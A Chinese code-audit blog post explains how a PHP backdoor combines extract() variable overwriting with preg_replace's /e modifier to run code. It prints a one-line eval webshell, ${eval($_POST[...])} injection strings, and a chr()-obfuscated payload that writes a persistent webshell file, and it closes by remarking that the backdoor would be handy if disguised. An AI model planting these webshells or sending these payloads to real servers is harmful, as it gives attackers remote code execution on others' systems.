[代码审计]preg_replace修饰符e导致的安全问题与利用方式

Posted by


0X01 前言

         一个php后门文件的分析问题,由于以前对preg_replacee修饰符认识不深导致思维错乱,今天整理一下。

0X02 分析

后门文件中存在

extract($_REQUEST);

$content=preg_replace(‘/\[U
(.*?)\](.*?)\[\/U\]/ie’,’getshorturl(“\\1”)’,$content);

这两个关键位置。前者实现变量覆盖,后者实现代码执行。

函数原型

preg_replace 执行一个正则表达式的搜索和替换

说明

mixed preg_replace ( mixed $pattern ,
mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索subject中匹配pattern的部分,以replacement进行替换。
特别说明: 
/e
修正符使 preg_replace() replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。

提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会报告在包含 preg_replace() 的行中出现语法解析错误。 

特别注意:

PHP 5.5.0版本中 /e修饰符已经被弃用了,使用
preg_replace_callback()
代替。

举例: 

<? 

echo preg_replace(“/xlixli/e”,$_POST[“x”],”xlixli.net”); 

?> 

这就是经常使用的preg_replace一句话后门。其中我们只需要提交x=phpinfo()phpinfo()将会被执行,这个地方简单粗暴,再看上面给出的样例。

 

语句:

$content=preg_replace(‘/\[U
(.*?)\](.*?)\[\/U\]/ie’,’getshorturl(“\\1”)’,$content);

由于php的正则是类似perl的,因此\\1的意义类似于$1(从1开始获取匹配到的字符串)。而在php中双引号内字符串如果包含变量是会被php解释器替换为变量解释后的结果;单引号中的变量则不会被处理。

注意:双引号中的函数不会被执行和替换。 

因此如果需要执行函数需要使用以下两种写法:

$a = “${@eval($_POST[s])}”;

$a =
“${${eval($_POST[s])}}”;

 

0X03 利用方式

直接写shell文件是最直接的利用方式了。

选择提交

x=eval(chr(102).chr(112).chr(117).chr(116)..

chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(49).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

等于执行

fputs(fopen(‘a.php’,’w’),'<?php
eval(\$_POST[1])?>’);

注意其中的注释符号。

 

0X04 后话

         曾经THINKPHP就因为修饰符e出现过命令执行漏洞,影响深远。但是没有好好去理解,没有深入的习惯是需要好好改改了。

         这次的后门文件稍微伪装一下会是一个很好用的脚本,算是另外一个收获了。

 

Leave a Reply

电子邮件地址不会被公开。 必填项已用*标注